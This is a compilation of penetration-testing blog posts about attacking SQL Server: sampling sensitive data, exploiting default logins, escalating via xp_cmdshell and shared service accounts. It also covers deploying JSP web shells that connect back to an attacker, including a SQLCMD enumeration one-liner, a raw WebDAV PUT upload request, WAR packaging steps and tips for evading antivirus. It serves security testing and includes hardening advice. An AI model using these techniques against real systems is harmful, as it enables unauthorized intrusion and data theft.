Finding Sensitive Data
There are a lot of great tools available for finding data quickly on a SQL Server. Some are commercial and some are open source. Most of them can be useful when gathering evidence during PCI penetration tests or when simply trying to determine if sensitive data exists in your database. In this section I’m going to cover how to find and sample data from SQL Servers using my TSQL script, and the Metasploit module based on the script.

TSQL Script – FindDataByKeyword.sql
This script will search through all of the non-default databases on the SQL Server for columns that match the keywords defined in the script and take a sample of the data. For more information please refer to the comments in the script.

Important Note: This script does not require SYSADMIN privileges, and will only return results for databases that the user has access to.

1. Download the “finddatabykeyword.sql” TSQL script from:
   https://github.com/nullbind/Metasploit-Modules/blob/master/finddatabykeyword.sql.
2. Sign into an existing SQL Server using Management Studio.
3. Open the “finddatabykeyword.sql” TSQL script. Next, set the “@SAMPLE_COUNT” variable to the number of rows that you would like to sample. If “@SAMPLE_COUNT” is set to 1, then the query will also return the total number of rows for each of the affected columns that contain data.
4. Then, modify the @KEYWORDS variable to set words to search for. Each keyword should be separated by the “|” character.
5. Execute the “finddatabykeyword.sql” TSQL script to sample data from columns that match defined keywords.

Metasploit Module – mssql_findandsampledata.rb

This is my first Metasploit auxiliary module. I recently wrote it with a little help from humble-desser and DarkOperator. The module is essentially a Measploit wrapper for my original TSQL script. Currently, this script will search through all of the non-default databases on the SQL Server for columns that match the keywords defined in the keywords option. If column names are found that match the defined keywords and data is present in the associated tables, the script will select a sample of the records from each of the affected tables. The sample size is determined by the samplesize option.

Before I provide an overview of how the module works, I would also like to thank Digininja. His original Interesting Data Finder module (http://www.digininja.org/blog/finding_interesting_db_data.php) was my starting point for this script. Although, I didn’t use much of his IDF module, I did borrow his method for auto sizing columns. So Thanks! I think it’s a good time to mention that I haven’t submitted this to the Metasploit code base yet, because I would like to finish a few additional options. So enjoy the sneak peak! Hopefully some one finds it useful. Below is an overview of how to use the Metasploit module:

1. Download and install the Metasploit Framework. It can be downloaded from:
   http://metasploit.com
2. Download the “mssql_findandsampledata.rb” module from:
   https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_findandsampledata.rb
3. Copy the “mssql_findandsampledata.rb” file into Metasploit. Below are the locations it should be copied to for Metaploit Framework and Pro:

       Metasploit Framework –Windows (Free Version):
       C:\framework\msf3\modules\auxiliary\admin\mssql\
   
       Metasploit Pro – Windows (Commercial Version)
       C:\metasploit\apps\pro\msf3\modules\auxiliary\admin\mssql\

4. Open a Metasploit console. Important Note: The pro version of Metasploit is not required.
   
5. Select the “mssql_findandsampledata.rb” auxiliary by typing: “use auxiliary/admin/mssql/mssql_FindandSampleData”
   
6. Set the required configuration parameters as illustrated below. Please note that enabling file output is not required. Also, IP ranges and cider notation can be set via RHOSTS.
   
7. Type “show options” to confirm you’ve entered your information correctly.
   
8. Type “exploit” to enumerate data from the remote SQL Server and write it to a file. If it fails confirm that the IP address, port, username, and password are correct.
   
9. Open file in excel for easy viewing and sorting.
   

Hopefully someone will find these scripts useful. If anyone has feedback or questions please feel free to email me. I always welcome the opportunity to improve scripts, approach, share knowledge etc. Also, next time I will be releasing a TSQL script and Metasploit module for attacking shared services accounts. In the mean time good hunting.

1. By default, the “NT AUTHORITY\Authenticated Users” built-in security principal includes all users that have been “authenticated locally by a trusted domain controller.”. That includes all domain user and machine accounts.
2. By default, the “NT AUTHORITY\Authenticated Users” built-in security principal is added as a member of the local “Users” group in Windows. This can be verified by issuing the following command from a Windows console:
   
   NET LOCALGROUP USERS
3. By default, SQL Server Express 2005 and 2008 create a login for the local “BUILTIN\Users” group that provides users with connection privileges. This can be verified by issuing the following query in any default SQL Server Express instance:
   
   SELECT * FROM sys.server_principals WHERE name = ‘BUILTIN\Users’;
4. As a result, all user and machine accounts on the same domain as the SQL Server Express instance also inherently have connect permissions to the SQL Server Express instance if a TCP listener has been enabled. Below is a basic example of how to issue a query to one of the affected SQL servers from a Windows console:
   
   SQLCMD -E -S “AffectedServer1\SQLEXPRESS” -Q “SELECT @@Version”

At a minimum, this default configuration provides an internal attacker with initial access to SQL Server Express instances. That “foot in the door” could potentially be leveraged to gain access to other database servers, systems, and network resources. During penetration tests, this type of issue often leads to exposure of sensitive data, and system access.

How to attack it
Below I’ve outlined one method for accessing SQL Server Express instances as a domain user. Keep in mind that there are a number of ways to accomplish the same thing. For example, it could be run through the “xp_cmdshell” extended stored procedure in order to run with the privileges of the SQL Server service account (which is the domain machine account if configured with “nt authority\system”).  

Note:  You may have to disable/modify your local firewall to ensure that SQLCMD can process the UDP responses from the SQL Servers on the network.

1. Log into a Windows system with domain credentials.
2. Install SQL Server Express.
3. Open up a command prompt.
4. Enumerate SQL Server instances that you have access to on the domain with the command below.
   
   FOR /F “” %a in (‘SQLCMD -L’) do SQLCMD -E -S %a -Q “SELECT ‘Vulnerable: ‘+@@SERVERNAME” | FIND /I “Vulnerable:” >> dbservers.txt
5. Now you have a list of vulnerable SQL Servers that you can issue arbitrary queries to with SQLCMD or SQL Server Management Studio. If you’re a penetration tester, you can also start escalating privileges and gaining unauthorized access to data.

At some point in the near future I’ll also release a TSQL script that will output the list into a pretty table. If you’re interested in similar attacks, I wrote a blog called “When Databases Attack: Hacking with OSQL” that you might like.

How to fix it
Remove the “BUILTIN\Users” login from SQL Server express instances to prevent evil doers from accessing your data.

Conclusions
From what I understand, Microsoft only made this a configuration default in express editions to help make SQL Server easier to deal with on Windows systems with User Access Control (UAC) enabled. So if you’re running any other edition you shouldn’t have to worry about anything unless someone manually added a login for BUILTIN\Users. With that, I have a few words of advice. First, never trust default configurations. Second, always leverage best practice hardening guides to help lock down new systems and applications. Third, don’t forget to configure accounts and securables with least privilege.

Good hunting.

References

• http://technet.microsoft.com/en-us/library/bb457115.aspx
• http://msdn.microsoft.com/en-us/library/ms143401(v=sql.90).aspx
• http://msdn.microsoft.com/en-us/library/ms143684.aspx
• http://msdn.microsoft.com/en-us/library/bb326612.aspx

A Little History
All relevant versions of SQL Server have shipped with a command-line SQL Server client. The native command-line clients installed in past versions include: iSQL.exe, OSQL.exe, and SQLCMD.exe. Each utility Microsoft releases has more functionality than the last, but the important thing to note for this discussion is that the basic syntax has remained the same. That includes the –E “trusted connection” switch that will be important later on in this blog. Below I’ve provided a table that outlines which utilities ship with each version of SQL Server.

IMPORTANT NOTE: I focus on OSQL, because it’s installed on most production SQL servers today. However, after version 2008 R2 it will no longer be included in default installations. So, if you find yourself without OSQL, look to the other options.

Finding SQL Servers
Let’s start out by finding some SQL Servers on the network. It’s pretty hard to attack something if you don’t know where it is. There are a number of tools and methods for enumerating SQL Servers, but today I’m going to focus on finding them with native OSQL functionality. Very simply, local and network SQL Servers can be listed by executing the command below:

The command sends a UDP request across the broadcast network and any SQL Server listening will respond. The resulting output will be a list of SQL servers on the broadcast network. So, with one switch, you can turn your database client into a database scanner.
Also, the server list can be directed into a file with the following command:

IMPORTANT NOTE: In older versions of SQL server, OSQL may have to be executed directly from the installation directory. Also, Microsoft warns that “Due to the nature of broadcasting on networks, OSQL may not receive a timely response from all servers. Therefore the list of servers returned may vary for each invocation of this option.” You may want to run the command a few times to ensure you get the full list.

Trusted Connections
Normally when a user queries an SQL Server with OSQL, they provide a username and password to authenticate. As a result, many administrators end up placing sensitive usernames and passwords in their scripts. Depending on the configuration, local, domain, and SQL Server accounts could be exposed. Trusted connections provide database users with the option to query SQL Servers without having to supply their credentials. When the trusted connections option is selected, the OSQL client attempts to authenticate to the database server using the current user context. In a way, this option increases security, because it keeps passwords out of scripts and in some cases can be used to enforce least privilege. However, there are some negatives aspects to having a “Trusted Connection” option: mainly the “Trusted” part.

Executing Queries with a Trusted Connection
Let’s take a look at how a database administrator might use this tool to check the version of a remote server. -E Uses a trusted connection for authentication (no credentials are required). I’ve also listed additional switches below:

• -S Specifies the local or remote server (IP, hostname or hostname\instance)
• -Q Runs a query and immediately exists
• -h Indicates number of headers for the output
• -s Indicates separating character for the output
• -w Sets the width for the output

The example below will query the SQL Server at 192.168.100.110 for its version.

Based on this example, it’s obvious that trusted connections are a handy tool for a database administrator. The problem starts to occur when an unauthorized user gets access to the database administrator’s machine or the database administrator decides they want more access to the system. Below are a few additional command line examples for connecting to remote databases using OSQL or SQLCMD.

Connect to a remote database using an IP address:

Connect to a remote database using the instance name:

Connect to a remote database using a non standard port:

Executing System Commands with a Trusted Connection
Attackers aren’t the only threat. Both attackers and database administrators can leverage this next trick to escalate their privileges. Using the OSQL utility and the xp_cmdshell extended stored procedure, DBAs and hackers can execute commands with the privileges of the SQL Server service account. Usually I find the SQL Server service account running as SYSTEM, a domain account, or an almighty Domain Admin account.

For those of you who are not as familiar – if we obtain SYSTEM privileges, we have more power than the local administrator account and, if we obtain Domain Admin, we can control most (if not all) of the devices on the network. How does this magic happen? Well, let’s take a look.

In the first example, I will execute the “whoami” command to return the name of the account I’m currently using. In the example below I am running as the “DBAdmin“domain user.

In the second example, I will run the same command using OSQL, a “trusted connection”, and xp_cmdshell. This time, the command returns “nt authority\system”. That means I can run any command as SYSTEM without being a part of any local or domain groups.

If the database user running the command has been assigned the “sysadmin” fixed server role (most DBAs have), then the command above can be executed to determine what user the SQL Server is running as. If not, then escalation may be required.

IMPORTANT NOTE: The command above did not require any credentials and our actions most likely have not been logged. Also, sometimes the SQL Server service is not configured with a local Administrator, SYSTEM, or Domain Admin account. When that is, the case I usually find that it is configured with a shared service account. That can be almost as good.

Leveraging Shared Service Accounts and Trusted Connections
“Shared service account” is a term that describes one account that is used to run many services. The account can be a local or domain Windows account. In this case, we are referring to one account running the SQL Server service on many servers. Server administrators often use this approach because it makes managing database service accounts a whole lot easier. In enterprise environments, it can actually reduce the number of required service accounts by hundreds. However, managing accounts this way does come with some risk.

Configuring SQL Servers with a shared service account usually creates a trust relationship between every database server using the account. This happens because of privilege inheritance. In the OSQL command example below, the database admin is able to access a database that the account does not have privileges to. The inheritance happens as follows:

1. The database admin (sysadmin) is able to execute a local command on SQL Server 1 with the SQL Server service account’s privileges using the OSQL utility, a “trusted connection, and the xp_cmdshell extended store procedure.
   (SYSADMIN on Server 1 = Service Account Privileges on Server 1)
2. In versions of SQL server prior to 2008, the SQL Server service account is automatically placed in the local administrators group. That means the shared service account can authenticate to any SQL Server using it.
   (Service Account Privileges on Server 1 = Administrator Privileges on Server 2)
3. In versions of SQL server prior to 2008, the local administrators group is assigned the sysadmin fixed server role. As a result, the shared service account has the privileges to run queries and local commands on Server 2. Through inheritance, so does the sysadmin from Server 1. (Administrator Privileges on Server 2 = SYADMIN on Server 2)

IMPORTANT NOTE: Despite of the fact that SQL Server 2008 ships with more secure configurations, administrators often change them back to the 2005 default settings.

Below is my crazy privilege inheritance abstract that shows the privilege flow starting from an SQL injection attack vector. Hopefully it helps to illustrate the process.

Crazy Privilege Inheritance Abstract

The real world attack would use a process like the one below. The database admin could first verify that their account can execute commands with the shared account’s privileges with the command below:

Then, the database admin can issue commands on the remote SQL Server targets that use the DEMO\Shared account. 

IMPORTANT NOTE: In this example, the database admin is using the interactive mode to issue queries to the servers.

Using Shared Service Account to Gain Unauthorized Access

Batch Attacks
Let’s automate some of this. We can use simple Windows batch scripts and our OSQL tool to run queries across the accessible databases on the broadcast network. Below is a simple command-line example that will write the hostname and SQL Server version to “accessible_servers.txt” for each server that the database administrator has access to.

The output will look something like the text below.

IMPORTANT NOTE: The login timeout errors usually indicate that the database user does not have access to the target SQL Server. It does not mean that a database service is not listening on that server.

We could, of course, automate queries to execute local commands, install software, and search for sensitive data on target servers, but I’ll save that for another day.

Wrap Up
The main lesson here is that configuring accounts with LEAST PRIVILEGE is important. Another take away should be that most of these attacks don’t generate any alerts. So, consider creating triggers on sensitive stored procedures like xp_cmdshell to generate audit trails. If you don’t feel like creating triggers manually, policy based management can be used. Policy based management has been around since SQL Server 2008, and allows DBAs to enforce detective and preventative controls on a SQL Server. The policies can be centrally managed to enforce controls across all of the 2005 and 2008 SQL Servers in your environment. I’ve provided a link below and strongly recommend DBAs take a look if they are not already familiar.

References

• SQL Server Policy Based Management
• http://msdn.microsoft.com/en-us/library/aa214012%28v=sql.80%29.aspx
• http://msdn.microsoft.com/en-us/library/ms162806(SQL.90).aspx
• http://msdn.microsoft.com/en-us/library/ms162806.aspx

JSP Shell Options

For those of you who are not as familiar – when I use the term “JSP shell” I’m referring to a “Java Server Page” that accepts arbitrary commands for execution on the hosting web server. Examples of servers that support such technology include jBoss, IBM WebSphere, BEA WebLogic, and Apache Tomcat (just to name a few). Traditional JSP shells use a HTML form to accept commands, but in more recent years JSP shells have been modified to initiate Metasploit sessions. Below, I’ve provided a code example and basic instructions for each scenario. Personally, I recommend using Metasploit JSP shells, because they have proven to be pretty stable and offer a cleaner interface. On Windows systems, the basic Metasploit shell can also be upgraded to a meterpreter shell that has tools for information gathering and escalation built-in.

Basic JSP shell

This is one of the most basic JSP shell code examples available. Basic use instructions are below.

1. Save the source code below as cmd.jsp and upload to the victim server.
2. Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.

Metasploit JSP Shell

Using the Metasploit JSP shell in an attack requires approximately six steps.

1. Generate the cmd.jsp shell with msfpayload
2. Upload the cmd.jsp file to the server
3. Run a Metasploit multi-handler on the local system
4. Visit the cmd.jsp page in a web browser
5. Obtain shell
6. If Windows, upgrade to meterpreter shell

Before generating the JSP shell, make sure that Ruby and the Metasploit Framework are installed. Then follow the detailed instructions below. To generate a JSP shell on a windows system use the command below. PLEASE NOTE: In the example below, the LHOST variable should be set to your IP address.

After the command is executed, Metasploit should output source code to the file cmd.jsp that looks something like the example below. In some cases, you may need to modify variable names to get around malware detection software.

Next, upload the cmd.jsp file to the target server. For the sake of this discussion, let’s assume the file uploads to http://www.victim.com/cmd.jsp. Then, start the Metasploit multi handler. Open an msfconsole and type the following commands to start a multi handler in the background.

PLEASE NOTE: The LHOST and LPORT variables should be configured relative to your system; the SHELL variable should be changed to /bin/sh if the target system is Linux/ Unix based, and the local firewall should be configured to allow traffic on port 53.

Finally, visit the http://www.victim.com/cmd.jsp page that was uploaded earlier and watch your msfconsole for a new session. Once the server connects back to your system, the shell should be accessible by typing the following (if you have attempted multiple sessions, the 1 may need to be incremented to the current session number).

If the target system is a Windows box the basic shell can be upgraded to a meter-preter shell with the following command:

Packaging JSP Shells as WAR Files

Sometimes it will be necessary to package the cmd.jsp as a WAR file so it can be published by an application server like jBoss. Basic instructions for creating a WAR file on a Windows system are below.

1. Install the most recent Java SDK (may require reboot)
2. Copy the cmd.jsp to the working directory
3. Make a subdirectory called WEB-INF
4. Place the content below into the file WEB-INF/web.xml
   
   
   <?xml
   version=”1.0″ ?>
   <web-app
   xmlns=”http://java.sun.com/xml/ns/j2ee”
   xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
   xsi:schemaLocation=”http://java.sun.com/xml/ns/j2ee
   http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd”
   version=”2.4″>
   <servlet>
   <servlet-name>Command</servlet-name>
   <jsp-file>/cmd.jsp</jsp-file>
   </servlet>
   </web-app>
5. In Windows, pack the files into a WAR with the following command, but be aware that the path to the jar.exe will vary based on OS and java version:
   
   
   “C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe” cvf cmd.war WEB-INF cmd.jsp

Shell Upload Options

• The PUT Method
  
  The WebDAV PUT method is a classic. PUT is an extension of the HTTP protocol that allows users to upload files to the target web server. For a long time we found this issue everywhere, but in the last two years or so we’ve started to see it less and less. Any decent vulnerability scanner will turn up this issue on an affected server, but it can also be found manually using a tool like ncat. Once a server is found with PUT available, the cmd.jsp file can be uploaded. There are a number of tools that can be used to accomplish this but I prefer using the Burp Suite because, truth be told, I enjoy my GUI interfaces as much as the command line. To upload a file using the PUT method and Burp follow the instructions below:
  1. Open Burp
  2. Navigate to the repeater tab
  3. Enter the victim’s hostname or IP, port and check the box if the server is using SSL.
  4. Enter the HTTP header information into the “raw” tab. The HTTP header needs to include the host cookie, the content-length cookie, and the path. Don’t worry about knowing the specific content-length; Burp will calculate it when the request is sent. The header should look something like the following:
     
        PUT /path/cmd.jsp HTTP/1.1
     Host:
     Content-Length: 0
  5. After the HTTP header has been typed in, press enter two times and paste in the JSP shell code. If there are not enough line breaks between the header and the body the request will not work properly.

  Press the go button. If the server responds with a 201 (created) the file should be available on the server.

• Application functionality: Upload Functionality
  
  Many web applications support uploading files. If there are no file type restrictions, simply upload the file and away you go. Unfortunately for those would-be attackers, most applications do attempt to enforce some file type restrictions. However, there are a number of technology specific vulnerabilities available to get around them. Such vulnerabilities can usually be found using a vulnerability scanner or by manually looking up the version information for the application or sub-components. I’ve also seen a few applications that allow files to be renamed after they are uploaded. If this is the case, simply upload the cmd.jsp as cmd.jpg, and once it’s uploaded rename it to cmd.jsp.

Application functionality: Dynamic Page Creation Functionality

Once in a while, I come across applications that have functionality built-in that is intended to allow users to create JSP files on the fly. If you find this type of application simply follow the application flow to create a JSP page and paste the cmd.jsp code when the application prompts for the source code.
Usually, these applications require some type of authentication, but in some cases I’ve found them configured with default passwords. Google is, of course, a great place to find default passwords, but I also recommend the relative vendor’s user/admin guides when attacking commercial and open source applications.

• Publishing WAR Files
  
  There are a number of application servers that use WAR files to publish applications. Some of them provide a HTML form that allows users to upload a WAR file and some (like jBoss) require a link to an external source. Josh Abraham wrote a few jBoss metasploit exploits for that purpose (one of which is called “jboss_maindeployer“). Also, there is a great paper on the subject available at: http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf
• File Shares
  
  Occasionally, the web server’s web root directory is accessible anonymously via FTP, Windows, or NFS shares. If that is the case, simply use a standard client to connect to the share and upload your JSP shell.
  If an attacker is able to upload a JSP shell to the victim server, all commands will be executed in the context of the user running the web server. In my experience, the web server is often running as ‘root’ on *nix systems and ‘SYSTEM’ on Windows systems. That makes upload vulnerabilities great entry points into the network. A quick “whoami” command should help determine what user the server is currently running as.

Conclusions

There are a number of options available to attackers and penetration testers for getting JSP shells onto servers to execute commands. These issues can pose a real threat to the overal security posture of a network. So I encourage companies to audit for these types of vulnerabilities regularly to help prevent their servers from being used as an entry point into the network. Also keep in mind that web shells can be created for almost all server side languages inlucuding (but not limited to) asp, aspx, cfm, php and cgi. So don’t limit yourself. Hopefully the information in this blog has proved to be helpful. Good hunting.


PS: Don’t be evil.


References

• http://download.oracle.com/javase/1.4.2/docs/tooldocs/windows/jar.html
• http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf
• http://sourceforge.net/projects/nmap-ncat/
• http://www.portswigger.net

The banking app I was using, in one way or another was probably owned, which resulted in financial loss for my bank, as well as a significantly less enjoyable vacation for yours truly. Other potential scenarios:

You log into your bank account, and all of your money is gone; the app used to access to your financial assets was owned.

You’ve noticed a sudden loss in clients, and a sharp gain in the success of one of your closest competitors; the app containing all your intellectual property and sales information was owned.

Your personal blog has become blacklisted by numerous antivirus software suites as an unsafe page; the app hosting your blog was owned.

But how, you ask? Many vendors of apps that you use every day pay top dollar for application security assessments from some of the brightest minds in the industry, so you’d expect that the security within these apps would be locked down tighter than the grease in your oven. So why is it that we continue to see (or feel) the pain of application compromises in the news and in our own lives?

In short, even some of the “best” in the security industry sometimes slip and fall when it comes to performing application security assessments. Assessing an application, in some ways, can be more of an art than a science.  While many apps use common frameworks and technologies, all apps are, by nature, unique. Running automated scanning tools, while useful, is simply not enough; unless the distinguishing features of each app are taken into account during testing, the assessment will not be complete.

In order to perform a true security assessment of an application, one must fully understand how the application is- and more importantly isn’t- supposed to work.  While many consultants may take a more blind approach in an attempt to simulate a “realistic” attack scenario, they are essentially cutting off their own hands; this would be analogous to a car mechanic trying to check your engine with the hood closed. To make the most efficient use of the consultant’s time that the app owner has paid for, it’s critical to take a white box, or open view, approach to the assessment, to ensure the consultant can understand the unique qualities of the application and focus their efforts in key areas. What key areas? Well, that’s the whole point; it depends on the application.

Each application assessment should begin by gathering information surrounding the application.  NetSPI then goes a step further by walking through this information and reviewing, step by step, the functionality and intended purpose of the application with a “master” user, typically a developer or application lead.  Through this master-apprentice model of learning, NetSPI is able to quickly gain knowledge of the intricacies of the application, as well as conduct an active conversation with the client to develop a test plan which focuses testing efforts on areas that would otherwise have been missed. Due to limited time and budgets, no test will run forever, so it’s critical to understand and focus testing on areas of the app that most significantly impact the underlying business processes.

So every day when you login to your bank account and the cash is still there, when another business day goes by without any blips, and when Uncle Frank and Aunt Marsha can still access your blog to see pictures of the kids without the old AV’s bells and whistles exploding, we can rest assured that somewhere, somehow, the app’s security has been verified through a true assessment… and if not? Well, we can at least know the bad guys haven’t cracked it yet. Or, uh, at least they haven’t targeted you yet.

Vulnerabilities can appear and disappear for a variety of reasons.  Sometimes vulnerabilities will disappear due to being remediated, even if the remediation is unintentional. For example, a code-related vulnerability from last quarter doesn’t appear in this quarter’s scan. When you congratulate the development team on fixing the issue, they say “What? Sorry, we haven’t gotten around to fixing that one yet.” What happened? The server team applied a patch to the OS of the server the application was running on; the patch added new security functionality that unintentionally also fixed the code-related vulnerability, but no one realized it happened.  Next quarter, the server team has rolled back the patch due to issues with a separate legacy application, and the vulnerability appears again.  The next quarter, the server team turns off the affected server for maintenance during the time it was supposed to be scanned, so once again, the vulnerability disappears from the report, and all seems well. The next quarter, the server is turned back on, the development team adds new functionality to the application that requires additional services to be run on the server, the vendor’s scanning tool receives a huge plugin update with hundreds of new checks, and one of the new checks leads the security consultant to manually discover a high-severity issue which allows the complete compromise of the server. All of a sudden, a huge blob of risk has fallen in your lap, your boss’s left eye is twitching more than it usually does, and you have no idea how to rationalize what happened, much less explain it in an easy to consume manner. What do you do? Use the abbreviated cheatsheet below, which illustrates the most common sources of vulnerabilities’ disappearing and reappearing acts:

Vulnerabilities can be hard to track, but with a bit of elbow grease and a convenient table provided by a reliable, intelligent resource (cough), you can hopefully be well on your way to eradicating the mystery of the vulnerability disappearing and reappearing act.

While the average person may not understand exactly how FireSheep works, awareness of the end result is fairly obvious and hits home quickly.  While the extension is rigged to be an easy “point and shoot” for well known sites such as Facebook and Twitter, the concept could be easily transferred to any application that fails to send session information over a secure channel, including yours. Even though HTTPS is used to protect the login process, the cookie containing the user’s session information is thereafter sent over HTTP.  With a few tweaks to FireSheep’s source it would be just as easy to “point and shoot” the extension at your app, allowing session hijacking through a few clicks.

The moral of the story? As always, layer up. If possible, use the “Secure” attribute when setting session cookies to ensure that the cookie is only passed over HTTPS.  Configure your application such that it runs entirely over HTTPS, or at least anywhere that session information will be passed between the client and server. If you’re using Apache, you can use the SSLRequireSSL directive to deny access when SSL isn’t used for an HTTP request.  While there are a number of measures that can be taken client-side to try and combat the threat of FireSheep, ultimately the issue lies within the service provider. Depending on the application and its surrounding infrastructure, it may be a somewhat costly endeavor to make the switch to HTTPS; as with all changes, the cost must be justified.  If the benefits of end to end encryption aren’t hitting home with the right people, consider setting up a quick FireSheep demo to illustrate just how easy it is to exploit the issue.  If jaws drop as you update a (volunteer) coworker’s Facebook status on the projector within 10 seconds of them logging in, you’ll know you’re in good shape.

Threats
Never discount the insider threat. Even if the administrator isn’t the culprit, their account can be impersonated and their password can be stolen. Also, insider attacks typically don’t trigger alerts in the same way that brute force attacks do because all of the actions appear to be legitimate from the system’s perspective. That makes enforcing the least privilege on accounts and objects even more important. Below I’ve listed a few accounts types that usually have more privileges than they really should. You may want to keep an eye on them.

1. Application Database Accounts
   Database accounts used by applications typically have more privileges than they need to perform their function. In my experience I’ve found that most database accounts used by applications are assigned sysadmin privileges or actually use the SA account. As a result, every developer with access to the account can execute arbitrary queries and system commands on the database server. Application accounts should really only be assigned the access they require on the associated application database.
2. Database Administrator Accounts
   Of course it makes sense to give database administrators access to manage their own databases. However, nine times out of ten they are able to elevate their privileges and access other databases and systems through inherited SQL Server service account permissions. So only give DBA access when it’s needed, set strong passwords, and audit administrative account activity.
3. Server Administrator Accounts
   Similar to database administrators, local server administrators usually have more power than they realize due to inherited permissions. In SQL Server versions prior to 2008, the local Windows administrators group is assigned the sysadmin role by default. As a result, every local administrator is inherently also a database administrator. The lesson here is: Don’t assign the local administrators group sysadmin database privileges.
4. Database Service Accounts
   In most environments SQL Server service accounts are part of the local administrators group. As a result, service accounts usually have sysadmin database privileges just like any other local administrator account. Shared SQL Server service accounts are another very common problem/practice in large environments because they make managing accounts easier. However, the reality is that the shared service accounts compound the issue by opening unwanted lines of trust between all of the database servers. When using shared service accounts, anyone who can administer one database server can also access data on every other server using the shared service account. Local commands and queries can be executed as the SQL Server service account by executing the OSQL command with the “-E” switch via the xp_cmdshell extended stored procedure. Contrary to what your parents may have taught you, when it comes to SQL Server service accounts, it’s not nice to share.

Entry Points
Below is a list of potential entry points into MS SQL Servers. Generally speaking, a database entry point is anywhere a user or application interfaces with a database. The idea is simple enough, and I think that most IT professionals understand it. What they don’t always understand is what those entry points are, or they forget that any interface used legitimately can also potentially be used by an attacker. The list below is intended to shed a little light into both areas. Most of the entry points can also be used to access other data management systems like Oracle and MySQL. However, I haven’t supplied any details for those platforms.

1. Database Listener
   By default, SQL Servers listen on port 1433. In most cases they are configured to allow connections from anywhere on the network. As a result attackers can attempt to use exploits and weak passwords to gain unauthorized access. Based on my experience, there is at least one SQL Server account configured with a weak password. There are a number of tools to help identify such accounts. I like to use the SQLPing3 scanner. It does a good job of identifying SQL Servers and weak account passwords with the right word list. It also does a good job of finding SQL Servers on non-default ports along with all of the associated instance information. If you’re not a fan of SQLPing3, pretty much any vulnerability scanner will find the default database credentials for a SQL Server on the default port. The general idea for this bullet is to patch regularly and set strong passwords for all database accounts. If you’re using SQL Server 2005 or later I suggest inheriting the local or domain account policies to help enforce strong passwords.
2. ODBC
   Open Database Connectivity (ODBC) is a middle layer of software that helps facilitate communication between applications and database servers. If an ODBC connection is already configured, it can be used to execute arbitrary queries against the database server through applications that use it. Examples include but are not limited to, Access, Excel, and Word. Additionally, some configurations allow attackers to extract usernames and passwords from ODBC configuration files. For example, Cain & Able has a nice ODBC password extractor for SQL Server 2005. If the password is recovered, attackers can connect directly to the SQL Server using SQL Server Management Studio.
3. Client-Server Applications
   I think a lot of developers are under the impression that if a client application’s GUI doesn’t give users the option to execute arbitrary database queries then it’s not possible. Unfortunately that is far from the truth. Many applications can be decompiled with tools like .NET Reflector and the Boomerang Decompiler. Once decompiled the connection strings are often accessible in clear text. In some case the connections strings can even be accessed with a hex editor prior to being decompiled. Also, tools like Echo Mirage can be used to intercept and modify network traffic between the application and the server. Users and attackers can actually conduct thick application SQL injection by modifying the database queries in the TCP payload. If you’re interested, Mike Anderson wrote a brief blog on the subject which is available at http://www.netspi.com/blog/2010/05/04/echo-mirage-piercing-the-veil-of-thick-application-security/. The take away here should be to obfuscate or encrypt your code, and encrypt all application communication with the server.
4. Web Applications
   Web applications present a number potential entry points. My goal today is not to provide a comprehensive list, but I will include some examples. If an attacker can access clear text connection strings in source code or configuration files such as the web.config, then the attacker can user them to connect to the backend database. Vulnerabilities that provide read access to such files vary from application to application, but the result is the same. If you are using clear text connection strings, consider encrypting them or using integrated authentication. SQL injection is another big one, which I’m sure doesn’t come as a shock to anyone. In many cases SQL injection can be used to bypass firewalls and execute arbitrary queries on the backend database. For SQL injection use common sense and best practice coding methods. I would spend more time on solutions for SQL injection, but there are volumes on the subject available online. Finally, some web applications actually support the functionality to build SQL queries on the fly. Technically it doesn’t qualify as SQL injection, but it definitely has the same result. The fix? Don’t do that.
5. Web Services
   There are surprising amounts of web services running applications behind the scenes out there. I’ve seen quite of few used by both web applications and client-server applications. SOAP, REST, and RPC web services all still seem to be pretty popular right now. Overall, SOAP web services seem to be used more by web applications, and REST/RPC web services seem to be used more by client-server applications. Regardless of the web service type, I’ve seen many of the same issues that affect traditional web applications causing security holes that provide attackers with arbitrary query access.

While assessing the security of your database servers make sure to consider more than the local database configuration. While the local database configuration needs to be secure, connections from trusted services can also be used as entry points by attackers. Make sure to lock down accounts from those trusted services or you may be unwittingly providing full database access to internal and external attackers.

– Boo evil

Reference Links

• http://sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx
• http://msdn.microsoft.com/en-us/library/ms174173.aspx
• http://www.oxid.it/cain.html
• http://www.bindshell.net/entry/31

In this series of postings, we will examine some of the challenges of assessing the security of complex web applications, including those related to features of the yet to be finalized HTML version 5 (HTML5) standard. We will further discuss the role of automation; it may not be dead, but it certainly needs a lot of hand holding.

Where do the scanners break? Or more appropriately, where do they fail to adequately test web applications so as to provide accurate results? The same place that provides the greatest complexity and feature rich capabilities to modern web applications; Asynchronous Javascript and XML, or AJAX for short. What is AJAX? Basically it is a set of technologies that enable a client browser to perform a background exchange of information with a web server without having to reload web content.  It involves several components which work together:

• HTML and CSS (of course)
• The Document Object Model (DOM) – client side objects which contain definitions and values that may or may not be rendered to the user but are made available to scripting languages, such as JavaScript, through the DOM API for manipulation
• XML for the structured exchange of data (optional)
• JavaScript (or other client side scripting language – e.g. VBScript)
• XMLHttpRequest (XHR) – an API used by scripting languages to send/receive information asynchronously from the server

An example of all this in action is the Google maps application. All the interactivity involved in dragging the map canvas, displaying markers, populating markers with information, drawing direction vectors, and dynamically changing direction vectors are all provided by means of AJAX.

Is it secure? Even the most expensive point-and-click web scanners have a tough time answering that question. They are designed to crawl, identify parameters, inject, and monitor results for content that it is programmed to recognize as evil. Depending on the complexity of the client side scripting, fully automating these types of tests may be virtually impossible.

What’s the answer? That’s the subject of the next part in this series.